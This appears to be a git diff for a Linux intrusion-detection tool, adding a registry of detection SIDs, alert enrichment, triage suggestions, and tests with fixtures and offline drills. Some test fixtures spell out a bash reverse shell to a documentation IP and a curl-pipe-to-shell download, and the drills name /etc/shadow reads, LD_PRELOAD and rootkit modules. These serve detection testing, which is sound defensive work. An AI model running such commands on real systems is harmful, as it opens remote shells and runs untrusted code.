+1,125 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Canonical registry of every built-in SID. + +Aggregates the constants where they are defined; nothing is renumbered or +moved. The core poll detectors carry some SIDs inline in the Alert they build, +so those rows are tabulated here and cross-checked by tests. +""" +from __future__ import annotations + +from dataclasses import dataclass + +from . import fim, pkgdb, posture, rootcheck +from .detectors import ( + credential_access, + input_snooper, + memory_obfuscation, + stealth_network, +) +from .events.rules import DEFAULT_EXEC_RULES +from .events.syscall_rules import DEFAULT_SYSCALL_RULES + + +@dataclass(frozen=True) +class SidInfo: + sid: int + name: str + engine: str + module: str + + +def _rule_rows(rules, engine: str, module: str) -> tuple[SidInfo, ...]: + return tuple( + SidInfo(r.sid, f"{engine}.{r.classtype}", engine, module) + for r in rules + ) + + +_DETECTORS = "enodia_sentinel.detectors" + +BUILTIN_SIDS: tuple[SidInfo, ...] = ( + *_rule_rows(DEFAULT_EXEC_RULES, "exec_rule", + "enodia_sentinel.events.rules"), + *_rule_rows(DEFAULT_SYSCALL_RULES, "syscall_rule", + "enodia_sentinel.events.syscall_rules"), + SidInfo(100010, "reverse_shell", "detector", f"{_DETECTORS}.reverse_shell"), + SidInfo(100011, "ld_preload", "detector", f"{_DETECTORS}.ld_preload"), + SidInfo(100012, "deleted_exe", "detector", f"{_DETECTORS}.deleted_exe"), + SidInfo(100013, "new_listener", "detector", f"{_DETECTORS}.new_listener"), + SidInfo(100014, "new_suid", "detector", f"{_DETECTORS}.new_suid"), + SidInfo(100015, "persistence", "detector", f"{_DETECTORS}.persistence"), + SidInfo(100016, "egress", "detector", f"{_DETECTORS}.egress"), + SidInfo(input_snooper.SID_INPUT_SNOOPER, "input_snooper", "detector", + f"{_DETECTORS}.input_snooper"), + SidInfo(credential_access.SID_CREDENTIAL_ACCESS, "credential_access", + "detector", f"{_DETECTORS}.credential_access"), + SidInfo(stealth_network.SID_STEALTH_NETWORK, "stealth_network", + "detector", f"{_DETECTORS}.stealth_network"), + SidInfo(memory_obfuscation.SID_MEMORY_OBFUSCATION, "memory_obfuscation", + "detector", f"{_DETECTORS}.memory_obfuscation"), + SidInfo(memory_obfuscation.SID_PROCESS_HIDING_LIBRARY, + "process_hiding_library", "detector", + f"{_DETECTORS}.memory_obfuscation"), + SidInfo(fim.SID_MODIFIED, "fim_modified", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_ADDED, "fim_added", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_REMOVED, "fim_removed", "fim", "enodia_sentinel.fim"), + SidInfo(fim.SID_PKG, "pkg_verify_mismatch", "fim", "enodia_sentinel.fim"), + SidInfo(pkgdb.SID_PKGDB, "pkgdb_tamper", "pkgdb", "enodia_sentinel.pkgdb"), + SidInfo(pkgdb.SID_SIGLEVEL, "pacman_siglevel_disabled", "pkgdb", + "enodia_sentinel.pkgdb"), + SidInfo(pkgdb.SID_PKGVERIFY, "pkg_signature_mismatch", "pkgdb", + "enodia_sentinel.pkgdb"), + SidInfo(rootcheck.SID_HIDDEN_PROC, "rootkit_hidden_process", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_MODULE, "rootkit_hidden_module", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_PORT, "rootkit_hidden_port", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_PROMISC, "promiscuous_interface", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_KNOWN_ROOTKIT_MODULE, "rootkit_known_module", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_TAINTED_MODULE, "rootkit_tainted_module", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_KERNEL_TAINTED, "kernel_tainted", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_UDP_PORT, "rootkit_hidden_udp_port", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_RAW_SOCKET, "rootkit_hidden_raw_socket", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_RAW_ICMP_SOCKET, "raw_icmp_socket", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_HIDDEN_PROTOCOL_SOCKET, + "rootkit_hidden_protocol_socket", "rootcheck", + "enodia_sentinel.rootcheck"), + SidInfo(rootcheck.SID_PS_HIDDEN_PROCESS, "rootkit_ps_hidden_process", + "rootcheck", "enodia_sentinel.rootcheck"), + SidInfo(posture.SID_SSH_ROOT_LOGIN, "ssh_root_login", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SSH_PASSWORD_AUTH, "ssh_password_auth", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SSH_EMPTY_PASSWORD, "ssh_empty_password", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDO_NOPASSWD, "sudo_nopasswd", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDO_NOAUTH, "sudo_no_authenticate", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SUDOERS_WRITABLE, "sudoers_writable", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_PATH_WRITABLE, "path_writable", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SENSITIVE_FILE_PERM, "sensitive_file_perm", "posture", + "enodia_sentinel.posture"), + SidInfo(posture.SID_SYSTEMD_UNIT_WRITABLE, "systemd_unit_writable", + "posture", "enodia_sentinel.posture"), + SidInfo(posture.SID_SYSTEMD_EXEC_UNSAFE, "systemd_exec_unsafe", "posture", + "enodia_sentinel.posture"), +) + + +def all_sids() -> frozenset[int]: + return frozenset(s.sid for s in BUILTIN_SIDS) + + +def engine_sids(engine: str) -> frozenset[int]: + return frozenset(s.sid for s in BUILTIN_SIDS if s.engine == engine) diff --git a/enodia_sentinel/snapshot.py b/enodia_sentinel/snapshot.py index 928f7b9..c2f3335 100644 --- a/enodia_sentinel/snapshot.py +++ b/enodia_sentinel/snapshot.py @@ -173,6 +173,15 @@ def capture(alerts: list[Alert], state: SystemState, cfg: Config) -> Path: incident_id = incident.record( cfg, base.with_suffix(".log").name, alerts, lineage, now.timestamp(), host) + cutoff = int(time.time()) - 3600 + recent_files = [] + for root in cfg.watch_persistence: + try: + if os.path.isfile(root) and os.lstat(root).st_mtime > cutoff: + recent_files.append(root) + except OSError: + pass + report = { "schema": schemas.ALERT_SNAPSHOT_V1, "time": now.isoformat(), @@ -183,18 +192,14 @@ def capture(alerts: list[Alert], state: SystemState, cfg: Config) -> Path: "processes": [_pid_detail(state, p) for p in pids], } - cutoff = int(time.time()) - 3600 - recent_files = [] - for root in cfg.watch_persistence: - try: - if os.path.isfile(root) and os.lstat(root).st_mtime > cutoff: - recent_files.append(root) - except OSError: - pass + from . import enrich + report["enrichment"] = enrich.build( + report, state, cfg, lineage=lineage, recent_files=recent_files) ps_out = _run(["ps", "-eo", "pid,ppid,user,etimes,pcpu,pmem,stat,comm", "--sort=-pcpu"]) extras = { + "Post-alert enrichment": enrich.format_text(report["enrichment"]), "Process tree (top by CPU)": "\n".join(ps_out.splitlines()[:40]), "Sockets (ss -tanp)": "\n".join(_run(["ss", "-tanp"]).splitlines()[:80]), "/etc/ld.so.preload": ( diff --git a/enodia_sentinel/triage.py b/enodia_sentinel/triage.py index ed3becc..fa74649 100644 --- a/enodia_sentinel/triage.py +++ b/enodia_sentinel/triage.py @@ -8,6 +8,7 @@ never auto-deletion. ``is_owned`` is injectable for testing. from __future__ import annotations import re +import json from collections.abc import Callable from dataclasses import dataclass @@ -28,7 +29,7 @@ _ALWAYS_REVIEW = {"reverse_shell", "egress"} class Verdict: label: str # LIKELY_FP or REVIEW reason: str - suggest: str = "" # optional config line to suppress future copies + suggest: str = "" # optional TOML snippet to suppress future copies def _exe_for(alert: dict, processes: list[dict]) -> str: @@ -39,6 +40,32 @@ def _exe_for(alert: dict, processes: list[dict]) -> str: return "" +def _comm_from_detail(detail: str) -> str: + m = re.search(r"\bcomm=([^\s]+)", detail) + return m.group(1) if m else "" + + +def _alert_context(alert: dict) -> str: + sid = alert.get("sid") or "unknown" + classtype = alert.get("classtype") or "unknown" + return f"sid={sid} classtype={classtype}" + + +def _toml_string_array(name: str, values) -> str: + items = ", ".join(json.dumps(v) for v in sorted(set(values)) if v) + return f"{name} = [{items}]" + + +def _allow_comm_suggestion(alert: dict, cfg: Config, key: str, comm: str, + why: str) -> str: + current = getattr(cfg, key) + return "\n".join(( + f"# Triage suggestion for {_alert_context(alert)}.", + f"# Add only after verifying this {comm!r} activity is expected: {why}.", + _toml_string_array(key, set(current) | {comm}), + )) + + def triage_alert(alert: dict, processes: list[dict], cfg: Config, is_owned: Callable[[str], bool] = is_package_owned) -> Verdict: sig = alert.get("signature", "") @@ -73,11 +100,15 @@ def triage_alert(alert: dict, processes: list[dict], cfg: Config, if comm in cfg.listener_allow_comms: return Verdict(LIKELY_FP, f"comm '{comm}' is allow-listed") if exe and is_owned(exe): - owner = comm return Verdict(LIKELY_FP, f"listener binary is package-owned ({comm})", - suggest=f'listener_allow_comms += "{comm}"') - return Verdict(REVIEW, f"unrecognized listener {addr} ({comm})") + suggest=_allow_comm_suggestion( + alert, cfg, "listener_allow_comms", comm, + "package-owned listener")) + return Verdict(REVIEW, f"unrecognized listener {addr} ({comm})", + suggest=_allow_comm_suggestion( + alert, cfg, "listener_allow_comms", comm, + "known service listener")) if sig == "new_suid": path = detail.rsplit(": ", 1)[-1] @@ -85,6 +116,42 @@ def triage_alert(alert: dict, processes: list[dict], cfg: Config, return Verdict(LIKELY_FP, "SUID binary is package-owned") return Verdict(REVIEW, f"unowned SUID binary: {path}") + if sig == "input_snooper": + comm = _comm_from_detail(detail) + if comm: + return Verdict(REVIEW, "input device access — verify this is local input stack", + suggest=_allow_comm_suggestion( + alert, cfg, "input_snooper_allow_comms", comm, + "expected input-device reader")) + return Verdict(REVIEW, "input device access — verify this is local input stack") + + if sig == "credential_access": + comm = _comm_from_detail(detail) + if comm: + return Verdict(REVIEW, "credential file access — verify the process role", + suggest=_allow_comm_suggestion( + alert, cfg, "credential_access_allow_comms", comm, + "expected credential-store reader")) + return Verdict(REVIEW, "credential file access — verify the process role") + + if sig == "stealth_network": + comm = _comm_from_detail(detail) + if comm and comm != "?": + return Verdict(REVIEW, "unusual socket family — verify the protocol use", + suggest=_allow_comm_suggestion( + alert, cfg, "stealth_network_allow_comms", comm, + "expected raw/special-protocol socket owner")) + return Verdict(REVIEW, "unusual socket family — verify the protocol use") + + if sig == "memory_obfuscation": + comm = _comm_from_detail(detail) + if comm: + return Verdict(REVIEW, "executable or RWX memory mapping — verify runtime/JIT use", + suggest=_allow_comm_suggestion( + alert, cfg, "memory_obfuscation_allow_comms", comm, + "expected executable memory runtime")) + return Verdict(REVIEW, "executable or RWX memory mapping — verify runtime/JIT use") + if sig == "persistence": return Verdict(REVIEW, "a persistence-relevant file changed — confirm intent") diff --git a/tests/fixtures/sids/100001-tmp-exec.json b/tests/fixtures/sids/100001-tmp-exec.json new file mode 100644 index 0000000..bfa73e0 --- /dev/null +++ b/tests/fixtures/sids/100001-tmp-exec.json @@ -0,0 +1,9 @@ +{ + "event": "exec", + "pid": 4242, + "ppid": 4100, + "uid": 1000, + "parent_comm": "bash", + "filename": "/tmp/.payload", + "argv": [] +} diff --git a/tests/fixtures/sids/100002-reverse-shell-argv.json b/tests/fixtures/sids/100002-reverse-shell-argv.json new file mode 100644 index 0000000..847dc3c --- /dev/null +++ b/tests/fixtures/sids/100002-reverse-shell-argv.json @@ -0,0 +1,9 @@ +{ + "event": "exec", + "pid": 4243, + "ppid": 4100, + "uid": 1000, + "parent_comm": "sshd", + "filename": "/usr/bin/bash", + "argv": ["-c", "bash -i >& /dev/tcp/203.0.113.7/443 0>&1"] +} diff --git a/tests/fixtures/sids/100003-web-shell-spawn.json b/tests/fixtures/sids/100003-web-shell-spawn.json new file mode 100644 index 0000000..e85e6ae --- /dev/null +++ b/tests/fixtures/sids/100003-web-shell-spawn.json @@ -0,0 +1,9 @@ +{ + "event": "exec", + "pid": 4244, + "ppid": 812, + "uid": 33, + "parent_comm": "nginx", + "filename": "/usr/bin/sh", + "argv": ["-c", "id"] +} diff --git a/tests/fixtures/sids/100004-curl-pipe-sh.json b/tests/fixtures/sids/100004-curl-pipe-sh.json new file mode 100644 index 0000000..ee68520 --- /dev/null +++ b/tests/fixtures/sids/100004-curl-pipe-sh.json @@ -0,0 +1,9 @@ +{ + "event": "exec", + "pid": 4245, + "ppid": 4100, + "uid": 1000, + "parent_comm": "bash", + "filename": "/usr/bin/curl", + "argv": ["-fsSL", "http://203.0.113.7/x.sh | sh"] +} diff --git a/tests/fixtures/sids/100060-mprotect-rwx.json b/tests/fixtures/sids/100060-mprotect-rwx.json new file mode 100644 index 0000000..d6abd7c --- /dev/null +++ b/tests/fixtures/sids/100060-mprotect-rwx.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4250, + "ppid": 4100, + "uid": 1000, + "comm": "loader", + "syscall": "mprotect", + "args": [140000000, 4096, 7] +} diff --git a/tests/fixtures/sids/100061-mmap-rwx.json b/tests/fixtures/sids/100061-mmap-rwx.json new file mode 100644 index 0000000..7cd1ea7 --- /dev/null +++ b/tests/fixtures/sids/100061-mmap-rwx.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4251, + "ppid": 4100, + "uid": 1000, + "comm": "loader", + "syscall": "mmap", + "args": [0, 4096, 7] +} diff --git a/tests/fixtures/sids/100062-memfd-create.json b/tests/fixtures/sids/100062-memfd-create.json new file mode 100644 index 0000000..90555e6 --- /dev/null +++ b/tests/fixtures/sids/100062-memfd-create.json @@ -0,0 +1,10 @@ +{ + "event": "syscall", + "pid": 4252, + "ppid": 4100, + "uid": 1000, + "comm": "loader", + "syscall": "memfd_create", + "args": [0, 0, 0], + "text": "payload" +} diff --git a/tests/fixtures/sids/100063-ptrace-attach.json b/tests/fixtures/sids/100063-ptrace-attach.json new file mode 100644 index 0000000..5955059 --- /dev/null +++ b/tests/fixtures/sids/100063-ptrace-attach.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4253, + "ppid": 4100, + "uid": 1000, + "comm": "debugger", + "syscall": "ptrace", + "args": [16, 5000, 0] +} diff --git a/tests/fixtures/sids/100064-seccomp.json b/tests/fixtures/sids/100064-seccomp.json new file mode 100644 index 0000000..42e7a77 --- /dev/null +++ b/tests/fixtures/sids/100064-seccomp.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4254, + "ppid": 4100, + "uid": 1000, + "comm": "sandbox", + "syscall": "seccomp", + "args": [0, 0, 0] +} diff --git a/tests/fixtures/sids/100065-process-vm-readv.json b/tests/fixtures/sids/100065-process-vm-readv.json new file mode 100644 index 0000000..b2da5c1 --- /dev/null +++ b/tests/fixtures/sids/100065-process-vm-readv.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4255, + "ppid": 4100, + "uid": 1000, + "comm": "scanner", + "syscall": "process_vm_readv", + "args": [5000, 0, 0] +} diff --git a/tests/fixtures/sids/100066-mlock.json b/tests/fixtures/sids/100066-mlock.json new file mode 100644 index 0000000..b3543eb --- /dev/null +++ b/tests/fixtures/sids/100066-mlock.json @@ -0,0 +1,9 @@ +{ + "event": "syscall", + "pid": 4256, + "ppid": 4100, + "uid": 1000, + "comm": "secretstore", + "syscall": "mlock", + "args": [140000000, 4096, 0] +} diff --git a/tests/sid_drills.py b/tests/sid_drills.py new file mode 100644 index 0000000..3f9aba7 --- /dev/null +++ b/tests/sid_drills.py @@ -0,0 +1,314 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Safe, offline drills that emit non-event built-in SIDs.""" +from __future__ import annotations + +import os +import tempfile +from collections.abc import Callable +from dataclasses import dataclass, field +from pathlib import Path + +from enodia_sentinel import fim, pkgdb, posture, rootcheck +from enodia_sentinel.alert import Alert +from enodia_sentinel.config import Config +from enodia_sentinel.detectors import ( + credential_access, + deleted_exe, + egress, + input_snooper, + ld_preload, + memory_obfuscation, + new_listener, + new_suid, + persistence, + reverse_shell, + stealth_network, +) +from enodia_sentinel.system import MemoryMap, Socket, SystemState + + +@dataclass +class FakeProc: + pid: int + comm: str = "bash" + cmdline: str = "" + exe: str = "" + environ: dict = field(default_factory=dict) + _stdio_inode: int | None = None + ppid: int = 1 + uid: int = 0 + cwd: str = "/" + fd_targets: dict = field(default_factory=dict) + memory_maps: list = field(default_factory=list) + + def stdio_socket_inode(self): + return self._stdio_inode + + +def _cfg() -> Config: + return Config() + + +def _rootcheck_alerts(**views) -> list[Alert]: + saved = { + name: getattr(rootcheck, name) + for name in ( + "proc_pids", "alive_pids", "proc_modules", "sys_live_modules", + "procnet_listen_ports", "procnet_udp_ports", + "procnet_raw_protocols", "procnet_protocol_kinds", "ps_pids", + "proc_pid_exists", "promiscuous_interfaces", "module_taints", + "kernel_taint", + ) + } + try: + rootcheck.proc_pids = lambda: views.get("proc_pids", {1}) + rootcheck.alive_pids = lambda cap: views.get("alive_pids", {1}) + rootcheck.proc_modules = lambda: views.get("proc_modules", {"ext4"}) + rootcheck.sys_live_modules = lambda: views.get("sys_live_modules", {"ext4"}) + rootcheck.procnet_listen_ports = lambda: views.get("procnet_ports", set()) + rootcheck.procnet_udp_ports = lambda: views.get("procnet_udp_ports", set()) + rootcheck.procnet_raw_protocols = lambda: views.get( + "procnet_raw_protocols", set()) + rootcheck.procnet_protocol_kinds = lambda: views.get( + "procnet_protocol_kinds", set()) + rootcheck.ps_pids = lambda: views.get("ps_pids", {1}) + rootcheck.proc_pid_exists = lambda pid: pid in views.get( + "existing_pids", {1}) + rootcheck.promiscuous_interfaces = lambda: views.get("promisc", []) + rootcheck.module_taints = lambda: views.get("module_taints", {}) + rootcheck.kernel_taint = lambda: views.get("kernel_taint", 0) + return list(rootcheck.run(_cfg(), views.get("state", SystemState()))) + finally: + for name, fn in saved.items(): + setattr(rootcheck, name, fn) + + +def _fim_diff_alerts() -> list[Alert]: + return list(fim.diff_alerts({ + "modified": [("/etc/ssh/sshd_config", ["sha256"])], + "added": ["/etc/systemd/system/evil.service"], + "removed": ["/etc/profile.d/hardening.sh"], + })) + + +def _pkgdb_tamper() -> list[Alert]: + with tempfile.TemporaryDirectory() as d: + cfg = _cfg() + cfg.log_dir = Path(d) + pkgdb.check(cfg, _fingerprint=lambda: "FP1", _last_tx=lambda: None) + alert = pkgdb.check(cfg, _fingerprint=lambda: "FP2", _last_tx=lambda: None) + return [alert] if alert else [] + + +def _siglevel() -> list[Alert]: + with tempfile.NamedTemporaryFile("w", delete=False) as fh: + fh.write("[options]\nSigLevel = Never\n") + path = fh.name + try: + alert = pkgdb.siglevel_alert(path) + return [alert] if alert else [] + finally: + os.unlink(path) + + +def _pkgverify() -> list[Alert]: + cfg = _cfg() + saved = pkgdb.siglevel_alert + pkgdb.siglevel_alert = lambda *a, **k: None + try: + alerts = pkgdb.verify_alerts( + cfg, + _installed=lambda: [("openssh", "9.0")], + _verify=lambda name, version: { + "pkg": f"{name}-{version}", + "cached": "/cache/pkg.tar.zst", + "checked": 1, + "mismatched": [("/usr/bin/ssh", "dead", "beef")], + }, + ) + return [a for a in alerts if a.sid == pkgdb.SID_PKGVERIFY] + finally: + pkgdb.siglevel_alert = saved + + +def _fim_pkg() -> list[Alert]: + saved = fim.pacman_verify + fim.pacman_verify = lambda timeout=600: [ + ("openssh", "/usr/bin/ssh", "SHA256 checksum mismatch"), + ] + try: + return list(fim.pacman_verify_alerts()) + finally: + fim.pacman_verify = saved + + +def _persistence() -> list[Alert]: + with tempfile.TemporaryDirectory() as d: + path = Path(d) / "evil.service" + path.write_text("[Service]\nExecStart=/tmp/payload\n") + cfg = _cfg() + cfg.watch_persistence = (str(path),) + state = SystemState(persist_since=path.stat().st_mtime - 1) + return list(persistence.detect(state, cfg)) + + +def _hidden_proc() -> list[Alert]: + pid = os.getpid() + return _rootcheck_alerts(proc_pids={1}, alive_pids={1, pid}, + existing_pids={1}, ps_pids={1}) + + +def _ps_hidden_proc() -> list[Alert]: + return _rootcheck_alerts(proc_pids={1, 4242}, alive_pids={1, 4242}, + existing_pids={1, 4242}, ps_pids={1}) + + +DRILLS: dict[int, Callable[[], list[Alert]]] = { + 100010: lambda: list(reverse_shell.detect( + SystemState( + processes=[FakeProc(pid=100, comm="bash", _stdio_inode=999, + cmdline="bash -i")], + sockets=[Socket("ESTAB", "127.0.0.1:55", "9.9.9.9:443", + 999, "bash", 100)], + ), + _cfg(), + )), + 100011: lambda: list(ld_preload.detect( + SystemState(processes=[ + FakeProc(pid=200, comm="sleep", + environ={"LD_PRELOAD": "/tmp/evil.so"}), + ]), + _cfg(), + )), + 100012: lambda: list(deleted_exe.detect( + SystemState(processes=[ + FakeProc(pid=300, comm="x", exe="/tmp/x (deleted)"), + ]), + _cfg(), + )), + 100013: lambda: list(new_listener.detect( + SystemState( + sockets=[Socket("LISTEN", "0.0.0.0:31337", "0.0.0.0:0", + 1, "hoxha", 340)], + listener_baseline=set(), + ), + _cfg(), + )), + 100014: lambda: list(new_suid.detect( + SystemState(suid_binaries=["/tmp/evil", "/usr/bin/sudo"], + suid_baseline={"/usr/bin/sudo"}), + _cfg(), + )), + 100015: _persistence, + 100016: lambda: list(egress.detect( + SystemState(sockets=[ + Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:443", + 1, "python3", 400), + ]), + _cfg(), + )), + 100017: _fim_diff_alerts, + 100018: _fim_diff_alerts, + 100019: _fim_diff_alerts, + 100020: _fim_pkg, + 100021: _pkgdb_tamper, + 100022: _hidden_proc, + 100023: lambda: _rootcheck_alerts( + proc_modules={"ext4"}, sys_live_modules={"ext4", "evil_mod"}), + 100024: lambda: _rootcheck_alerts( + procnet_ports={22, 31337}, + state=SystemState(sockets=[ + Socket("LISTEN", "0.0.0.0:22", "0.0.0.0:0", 10, "sshd", 1), + ])), + 100025: lambda: _rootcheck_alerts(promisc=["eth0"]), + 100026: _siglevel, + 100027: _pkgverify, + 100028: lambda: _rootcheck_alerts( + proc_modules={"ext4"}, sys_live_modules={"ext4", "diamorphine"}), + 100029: lambda: _rootcheck_alerts( + proc_modules={"vendor_gpu"}, sys_live_modules={"vendor_gpu"}, + module_taints={"vendor_gpu": "OE"}), + 100030: lambda: _rootcheck_alerts(kernel_taint=(1 << 12) | (1 << 13)), + 100031: lambda: _rootcheck_alerts( + procnet_udp_ports={53, 4444}, + state=SystemState(sockets=[ + Socket("UNCONN", "0.0.0.0:53", "0.0.0.0:0", 11, "dnsmasq", 2), + ])), + 100032: lambda: list(input_snooper.detect( + SystemState(processes=[ + FakeProc(pid=320, comm="hoxha", + fd_targets={"7": "/dev/input/event3"}), + ]), + _cfg(), + )), + 100033: lambda: list(credential_access.detect( + SystemState(processes=[ + FakeProc(pid=330, comm="hoxha", fd_targets={"4": "/etc/shadow"}), + ]), + _cfg(), + )), + 100034: lambda: _rootcheck_alerts( + procnet_raw_protocols={1, 58}, + state=SystemState(sockets=[ + Socket("UNCONN", "0.0.0.0:ipv6-icmp", "0.0.0.0:*", + 12, "monitor", 3, "raw"), + ])), + 100035: lambda: _rootcheck_alerts(procnet_raw_protocols={1}), + 100036: lambda: list(stealth_network.detect( + SystemState(sockets=[ + Socket("ESTAB", "10.0.0.2:5000", "8.8.8.8:4443", + 1, "hoxha", 340, "sctp"), + ]), + _cfg(), + )), + 100037: lambda: _rootcheck_alerts( + procnet_protocol_kinds={"sctp", "packet"}, + state=SystemState(sockets=[ + Socket("UNCONN", "*:eth0", "*", 13, "tcpdump", 4, "packet"), + ])), + 100038: _ps_hidden_proc, + 100039: lambda: list(memory_obfuscation.detect( + SystemState(processes=[ + FakeProc(pid=351, comm="packer", + memory_maps=[MemoryMap(0x3000, 0x4000, "rwxp", "")]), + ]), + _cfg(), + )), + 100040: lambda: list(posture.sshd_findings({"permitrootlogin": "yes"})), + 100041: lambda: list(posture.sshd_findings({})), + 100042: lambda: list(posture.sshd_findings({ + "permitemptypasswords": "yes", "passwordauthentication": "no"})), + 100043: lambda: list(posture.sudoers_findings([ + ("/etc/sudoers", "alice ALL=(ALL) NOPASSWD: ALL\n", 0o440), + ])), + 100044: lambda: list(posture.sudoers_findings([ + ("/etc/sudoers", "Defaults !authenticate\n", 0o440), + ])), + 100045: lambda: list(posture.sudoers_findings([ + ("/etc/sudoers.d/bad", "root ALL=(ALL) ALL\n", 0o646), + ])), + 100046: lambda: list(posture.path_findings([ + ("/usr/local/bin", 0o40777, 0), + ])), + 100047: lambda: list(posture.sensitive_file_findings([ + ("/etc/shadow", 0o100644), + ])), + 100048: lambda: list(memory_obfuscation.detect( + SystemState(processes=[ + FakeProc(pid=352, comm="bash", + memory_maps=[ + MemoryMap(0x5000, 0x6000, "r-xp", + "/usr/lib/libhide.so"), + ]), + ]), + _cfg(), + )), + 100050: lambda: list(posture.systemd_findings([ + posture.UnitFact("foo.service", "/etc/systemd/system/foo.service", + 0o100664, True, ("/usr/bin/foo",)), + ])), + 100051: lambda: list(posture.systemd_findings([ + posture.UnitFact("evil.service", "/etc/systemd/system/evil.service", + 0o100644, True, ("/tmp/payload",)), + ])), +} diff --git a/tests/test_enrich.py b/tests/test_enrich.py new file mode 100644 index 0000000..220267b --- /dev/null +++ b/tests/test_enrich.py @@ -0,0 +1,107 @@ +# SPDX-License-Identifier: GPL-3.0-or-later +"""Tests for post-alert snapshot enrichment.""" +import tempfile +import unittest +from dataclasses import dataclass +from pathlib import Path + +from enodia_sentinel import enrich +from enodia_sentinel.config import Config +from enodia_sentinel.system import SystemState + + +@dataclass +class FakeProc: + pid: int + comm: str + exe: str = "" + ppid: int = 0 + uid: int = 0 + + +class TestEnrichment(unittest.TestCase): + def setUp(self): + self.dir = tempfile.TemporaryDirectory() + self.tmp = Path(self.dir.name) + self.cfg = Config() + self.cfg.log_dir = self.tmp + + def tearDown(self): + self.dir.cleanup() + + def test_process_remote_file_and_integrity_context(self): + exe = self.tmp / "payload" + exe.write_text("stage-one") + watched = self.tmp / "persistence.service" + watched.write_text("[Service]\nExecStart=/tmp/payload\n") + self.cfg.fim_baseline.write_text("{}") + (self.tmp / "pkgdb-anchor.json").write_text("{}") + + state = SystemState(processes=[ + FakeProc(1, "systemd"), + FakeProc(10, "nginx", ppid=1), + FakeProc(42, "payload", exe=str(exe), ppid=10), + ]) + report = { + "alerts": [ + {"signature": "reverse_shell", + "detail": "pid=42 peer=[8.8.8.8:4444]", + "key": "rsh:42"}, + {"signature": "persistence", + "detail": f"persistence file modified: {watched}", + "key": "k:persistence"}, + ], + "processes": [ + {"pid": 42, "comm": "payload", "exe": str(exe), "ppid": 10}, + ], + } + + out = enrich.build( + report, state, self.cfg, lineage={42, 10, 1}, + recent_files=[str(watched)], + owner=lambda p: "testpkg 1.0-1" if p == str(exe) else None, + ) + + self.assertEqual(out["processes"][0]["package_owner"], "testpkg 1.0-1") + self.assertRegex(out["processes"][0]["exe_sha256"], r"^[0-9a-f]{64}$") + self.assertEqual(out["processes"][0]["parent_chain"][0]["pid"], 10) + self.assertEqual(out["remotes"][0], + {"ip": "8.8.8.8", "classification": "public"}) + files = {f["path"]: f for f in out["files"]} + self.assertTrue(files[str(watched)]["exists"]) + self.assertIn(str(watched), out["recent_writes"]) + self.assertEqual(out["integrity"]["fim_baseline"]["status"], "present") + self.assertEqual(out["integrity"]["pkgdb_anchor"]["status"], "present") + + def test_private_remote_and_missing_file_context(self): + state = SystemState(processes=[]) + report = { + "alerts": [ + {"signature": "egress", + "detail": "python connected to 10.1.2.3:443 and /gone", + "key": "k"}, + ], + "processes": [], + } + out = enrich.build(report, state, self.cfg, owner=lambda _p: None) + self.assertEqual(out["remotes"][0]["classification"], "private") + self.assertFalse(out["files"][0]["exists"]) + + def test_text_summary_is_compact(self): + text = enrich.format_text({ + "processes": [{"pid": 42, "comm": "payload", + "package_owner": "pkg", "exe_sha256": "a" * 64, + "parent_chain": [{"pid": 10, "comm": "nginx"}]}], + "remotes": [{"ip": "8.8.8.8", "classification": "public"}], + "files": [], + "integrity": {"fim_baseline": {"status": "present"}, + "pkgdb_anchor": {"status": "missing"}, + "rootcheck": {"enabled": True}}, + }) + self.assertIn("process pid=42", text) + self.assertIn("remote 8.8.8.8: public", text) + self.assertIn("integrity:", text) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_respond.py b/tests/test_respond.py index f969d99..5d08a30 100644 --- a/tests/test_respond.py +++ b/tests/test_respond.py @@ -70,11 +70,43 @@ class TestRespondPlan(unittest.TestCase): self.assertIn(["systemctl", "disable", "--now", "bad.service"], commands) self.assertIn(["mv", "--", "/tmp/suidsh", "/tmp/suidsh.enodia-quarantine"], commands) + self.assertIn(["enodia-sentinel", "check", "--json"], commands) + self.assertIn(["enodia-sentinel", "watchdog", "--url", + "https://:8787", "--token", "", + "--insecure-tls"], commands) self.assertNotIn(["mv", "--", "/etc/systemd/system/bad.service", "/etc/systemd/system/bad.service.enodia-quarantine"], commands) self.assertEqual(plan["actions"][0]["category"], "evidence") + def test_package_recovery_adds_signed_package_verify(self): + iid = incident.record(self.cfg, "alert-2.log", [ + _alert("pkg_signature_mismatch", + "signed package mismatch /usr/bin/ssh", + sid=100022, sev=Severity.CRITICAL), + ], lineage=set(), when=1001.0, host="h") + (self.tmp / "alert-2.json").write_text(json.dumps({ + "time": "2026-06-10T10:01:00-07:00", + "host": "h", + "severity": "CRITICAL", + "incident_id": iid, + "alerts": [ + {"signature": "pkg_signature_mismatch", "sid": 100022, + "detail": "signed package 